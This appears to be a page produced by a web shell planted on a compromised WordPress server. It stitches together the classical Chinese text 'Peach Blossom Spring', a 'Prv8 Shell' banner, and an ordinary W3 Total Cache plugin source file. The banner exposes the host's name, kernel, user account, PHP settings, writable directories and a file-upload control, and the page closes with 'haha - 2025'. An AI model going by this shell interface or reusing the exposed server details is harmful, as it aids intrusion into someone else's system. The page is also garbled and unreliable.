晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/www/wp-content/plugins/w3-total-cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/stando/www/wp-content/plugins/w3-total-cache/Extensions_Plugin_Admin.php
<?php
namespace W3TC;

/**
 * W3 Total Cache ExtensionsAdmin plugin
 */
class Extensions_Plugin_Admin {
	/**
	 * Config
	 */
	private $_config = null;

	function __construct() {
		$this->_config = Dispatcher::config();
	}

	/**
	 * Runs plugin
	 */
	function run() {
		// attach w3tc-bundled extensions
		add_filter( 'w3tc_extensions', array(
				'\W3TC\Extension_CloudFlare_Plugin_Admin',
				'w3tc_extensions' ),
			10, 2 );
		add_filter( 'w3tc_extensions', array(
				'\W3TC\Extension_FeedBurner_Plugin_Admin',
				'w3tc_extensions' ),
			10, 2 );
		add_filter( 'w3tc_extensions', array(
				'\W3TC\Extension_FragmentCache_Plugin_Admin',
				'w3tc_extensions' ),
			10, 2 );
		add_filter( 'w3tc_extensions', array(
				'\W3TC\Extension_Genesis_Plugin_Admin',
				'w3tc_extensions' ),
			10, 2 );
		add_filter( 'w3tc_extensions_hooks', array(
				'\W3TC\Extension_Genesis_Plugin_Admin',
				'w3tc_extensions_hooks' ) );
		add_filter( 'w3tc_notes_genesis_theme', array(
				'\W3TC\Extension_Genesis_Plugin_Admin',
				'w3tc_notes_genesis_theme' ) );
		add_filter( 'w3tc_extensions', array(
				'\W3TC\Extension_NewRelic_Plugin_Admin',
				'w3tc_extensions' ),
			10, 2 );
		add_filter( 'w3tc_extensions', array(
				'\W3TC\Extension_Swarmify_Plugin_Admin',
				'w3tc_extensions' ),
			10, 2 );
		add_filter( 'w3tc_extensions', array(
				'\W3TC\Extension_WordPressSeo_Plugin_Admin',
				'w3tc_extensions' ),
			10, 2 );
		add_filter( 'w3tc_extensions_hooks', array(
				'\W3TC\Extension_WordPressSeo_Plugin_Admin',
				'w3tc_extensions_hooks' ) );
		add_action( 'w3tc_notes_wordpress_seo', array(
				'\W3TC\Extension_WordPressSeo_Plugin_Admin',
				'w3tc_notes_wordpress_seo' ) );
		add_filter( 'w3tc_extensions', array(
				'\W3TC\Extension_Wpml_Plugin_Admin',
				'w3tc_extensions' ),
			10, 2 );
		add_filter( 'w3tc_extensions', array(
				'\W3TC\Extension_Amp_Plugin_Admin',
				'w3tc_extensions' ),
			10, 2 );
		add_filter( 'w3tc_extensions_hooks', array(
				'\W3TC\Extension_Wpml_Plugin_Admin',
				'w3tc_extensions_hooks' ) );
		add_action( 'w3tc_notes_wpml', array(
				'\W3TC\Extension_Wpml_Plugin_Admin',
				'w3tc_notes_wpml' ) );

		add_action( 'admin_init', array( $this, 'admin_init' ), 1 );
		add_filter( 'pre_update_option_active_plugins', array(
				$this, 'pre_update_option_active_plugins' ) );
		add_filter( 'w3tc_admin_menu', array( $this, 'w3tc_admin_menu' ), 10000 );
		add_action( 'w3tc_settings_page-w3tc_extensions',
			array( $this, 'w3tc_settings_page_w3tc_extensions' ) );

		if ( Util_Admin::is_w3tc_admin_page() ) {
			if ( isset( $_GET['extension'] ) && isset( $_GET['action'] ) ) {
				if ( in_array( $_GET['action'], array( 'activate', 'deactivate' ) ) ) {
					add_action( 'init', array( $this, 'change_extension_status' ) );
				}
			} elseif ( isset( $_POST['checked'] ) ) {
				add_action( 'admin_init', array( $this, 'change_extensions_status' ) );
			}
		}
	}

	/**
	 * Adds menu
	 *
	 * @param unknown $menu
	 * @return array
	 */
	public function w3tc_admin_menu( $menu ) {
		$menu['w3tc_extensions'] = array(
			'page_title' => __( 'Extensions', 'w3-total-cache' ),
			'menu_text' => __( 'Extensions', 'w3-total-cache' ),
			'visible_always' => false,
			'order' => 1900
		);

		return $menu;
	}

	/**
	 * Loads options page and corresponding view
	 */
	public function w3tc_settings_page_w3tc_extensions() {
		$o = new Extensions_Page();
		$o->render_content();
	}

	public function pre_update_option_active_plugins( $o ) {
		delete_option( 'w3tc_extensions_hooks' );

		return $o;
	}

	public function admin_init() {
		// used to load even inactive extensions if they want to
		$s = get_option( 'w3tc_extensions_hooks' );
		$hooks = @json_decode( $s, true );
		if ( !isset( $hooks['next_check_date'] ) ||
			$hooks['next_check_date'] < time() ) {
			$hooks = array(
				'actions' => array(),
				'filters' => array(),
				'next_check_date' => time() + 24 * 60 * 60
			);
			$hooks = apply_filters( 'w3tc_extensions_hooks', $hooks );
			update_option( 'w3tc_extensions_hooks', json_encode( $hooks ) );
		}

		if ( isset( $hooks['actions'] ) ) {
			foreach ( $hooks['actions'] as $hook => $actions_to_call ) {
				if ( is_array( $actions_to_call ) ) {
					add_action( $hook, function() use ( $actions_to_call ) {
							foreach ( $actions_to_call as $action )
							do_action( $action );
						} );
				}
			}
		}

		if ( isset( $hooks['filters'] ) ) {
			foreach ( $hooks['filters'] as $hook => $filters_to_call ) {
				if ( is_array( $filters_to_call ) ) {
					add_filter( $hook, function( $v ) use ( $filters_to_call ) {
							foreach ( $filters_to_call as $filter )
							$v = apply_filters( $filter, $v );

							return $v;
						} );
				}
			}
		}
	}

	/**
	 * Alters the active state of multiple extensions
	 */
	public function change_extensions_status() {
		$extensions = Util_Request::get_array( 'checked' );
		$action = Util_Request::get( 'action' );
		if ( '-1' == $action )
			$action = Util_Request::get( 'action2' );   // dropdown at bottom

		$message = '';
		if ( 'activate-selected' == $action ) {
			foreach ( $extensions as $extension ) {
				if ( Extensions_Util::activate_extension( $extension, $this->_config ) )
					$message .= '&activated=' . $extension;
			}
			wp_redirect( Util_Ui::admin_url( sprintf( 'admin.php?page=w3tc_extensions%s', $message ) ) );
		} elseif ( 'deactivate-selected' == $action ) {
			foreach ( $extensions as $extension ) {
				if ( Extensions_Util::deactivate_extension( $extension, $this->_config ) )
					$message .= '&deactivated=' . $extension;
			}
			wp_redirect( Util_Ui::admin_url( sprintf( 'admin.php?page=w3tc_extensions%s', $message ) ) );
		} else {
			wp_redirect( Util_Ui::admin_url( 'admin.php?page=w3tc_extensions' ) );
		}
	}

	/**
	 * Alters the active state of an extension
	 */
	public function change_extension_status() {
		$action = Util_Request::get_string( 'action' );

		if ( in_array( $action, array( 'activate', 'deactivate' ) ) ) {
			$extension = Util_Request::get_string( 'extension' );
			if ( 'activate' == $action ) {
				Extensions_Util::activate_extension( $extension, $this->_config );
				wp_redirect( Util_Ui::admin_url( sprintf( 'admin.php?page=w3tc_extensions&activated=%s', $extension ) ) );
			} elseif ( 'deactivate' == $action ) {
				Extensions_Util::deactivate_extension( $extension, $this->_config );
				wp_redirect( Util_Ui::admin_url( sprintf( 'admin.php?page=w3tc_extensions&deactivated=%s', $extension ) ) );
			}
		}
	}
}

haha - 2025